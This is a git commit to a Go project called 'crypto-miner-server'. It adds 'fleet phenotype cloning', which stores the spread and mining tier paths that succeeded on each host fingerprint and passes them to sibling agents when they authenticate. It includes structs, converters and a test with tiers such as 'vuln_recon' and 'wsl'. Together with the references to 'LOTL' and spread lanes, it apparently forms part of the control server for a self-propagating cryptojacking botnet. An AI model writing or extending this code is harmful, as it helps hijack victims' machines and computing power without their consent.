Add fleet phenotype cloning for sibling machines.

Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
This commit is contained in:
AetherForge
2026-06-07 02:28:00 -07:00
parent bb48515b2b
commit 4204dd6b6d
25 changed files with 1421 additions and 38 deletions

View File

@@ -0,0 +1,77 @@
package strategy
import (
"strings"
"time"
)
// FleetPhenotype is the best-known winning path for a host fingerprint bucket.
type FleetPhenotype struct {
ID string `json:"id"`
SourceAgentID string `json:"source_agent_id"`
SourceAgentName string `json:"source_agent_name"`
Fingerprint string `json:"fingerprint"`
OS string `json:"os"`
SpreadLane string `json:"spread_lane,omitempty"`
ActiveTier string `json:"active_tier,omitempty"`
TierOrder []string `json:"tier_order"`
PeakHashrate float64 `json:"peak_hashrate"`
CreatedAt time.Time `json:"created_at"`
}
// InheritedPhenotype is pushed to sibling agents on auth when fingerprint matches.
type InheritedPhenotype struct {
SourceAgentName string `json:"source_agent_name"`
Fingerprint string `json:"fingerprint"`
SpreadLane string `json:"spread_lane,omitempty"`
TierOrder []string `json:"tier_order"`
ActiveTier string `json:"active_tier,omitempty"`
PeakHashrate float64 `json:"peak_hashrate,omitempty"`
}
// TierAttempt is a minimal stats/tier_report attempt for phenotype tier_order building.
type TierAttempt struct {
Tier string
OK bool
}
// BuildWinningTierOrder derives spread+mining tier order from successful attempts.
func BuildWinningTierOrder(attempts []TierAttempt, activeTier string, fallback []string) []string {
seen := make(map[string]bool)
order := make([]string, 0, len(attempts)+1)
for _, a := range attempts {
tier := strings.TrimSpace(a.Tier)
if !a.OK || tier == "" || seen[tier] {
continue
}
order = append(order, tier)
seen[tier] = true
}
if len(order) == 0 && len(fallback) > 0 {
for _, t := range fallback {
tier := strings.TrimSpace(t)
if tier == "" || seen[tier] {
continue
}
order = append(order, tier)
seen[tier] = true
}
}
activeTier = strings.TrimSpace(activeTier)
if activeTier != "" && !seen[activeTier] {
order = append(order, activeTier)
}
return order
}
// ToInherited converts a stored phenotype into an auth payload for sibling agents.
func (p FleetPhenotype) ToInherited() InheritedPhenotype {
return InheritedPhenotype{
SourceAgentName: p.SourceAgentName,
Fingerprint: p.Fingerprint,
SpreadLane: p.SpreadLane,
TierOrder: append([]string(nil), p.TierOrder...),
ActiveTier: p.ActiveTier,
PeakHashrate: p.PeakHashrate,
}
}

View File

@@ -0,0 +1,35 @@
package strategy
import "crypto-miner-server/internal/db"
// PhenotypeToStored converts a strategy phenotype into a DB row.
func PhenotypeToStored(p FleetPhenotype) db.StoredPhenotype {
return db.StoredPhenotype{
ID: p.ID,
SourceAgentID: p.SourceAgentID,
SourceAgentName: p.SourceAgentName,
Fingerprint: p.Fingerprint,
OS: p.OS,
SpreadLane: p.SpreadLane,
ActiveTier: p.ActiveTier,
TierOrder: append([]string(nil), p.TierOrder...),
PeakHashrate: p.PeakHashrate,
CreatedAt: p.CreatedAt,
}
}
// PhenotypeFromStored converts a DB row into a strategy phenotype.
func PhenotypeFromStored(p db.StoredPhenotype) FleetPhenotype {
return FleetPhenotype{
ID: p.ID,
SourceAgentID: p.SourceAgentID,
SourceAgentName: p.SourceAgentName,
Fingerprint: p.Fingerprint,
OS: p.OS,
SpreadLane: p.SpreadLane,
ActiveTier: p.ActiveTier,
TierOrder: append([]string(nil), p.TierOrder...),
PeakHashrate: p.PeakHashrate,
CreatedAt: p.CreatedAt,
}
}

View File

@@ -0,0 +1,17 @@
package strategy
import "testing"
func TestBuildWinningTierOrderFromAttempts(t *testing.T) {
order := BuildWinningTierOrder([]TierAttempt{
{Tier: "vuln_recon", OK: true},
{Tier: "docker", OK: false},
{Tier: "wsl", OK: true},
}, "cpu_inprocess", nil)
if len(order) != 3 {
t.Fatalf("order = %v", order)
}
if order[0] != "vuln_recon" || order[1] != "wsl" || order[2] != "cpu_inprocess" {
t.Fatalf("unexpected order: %v", order)
}
}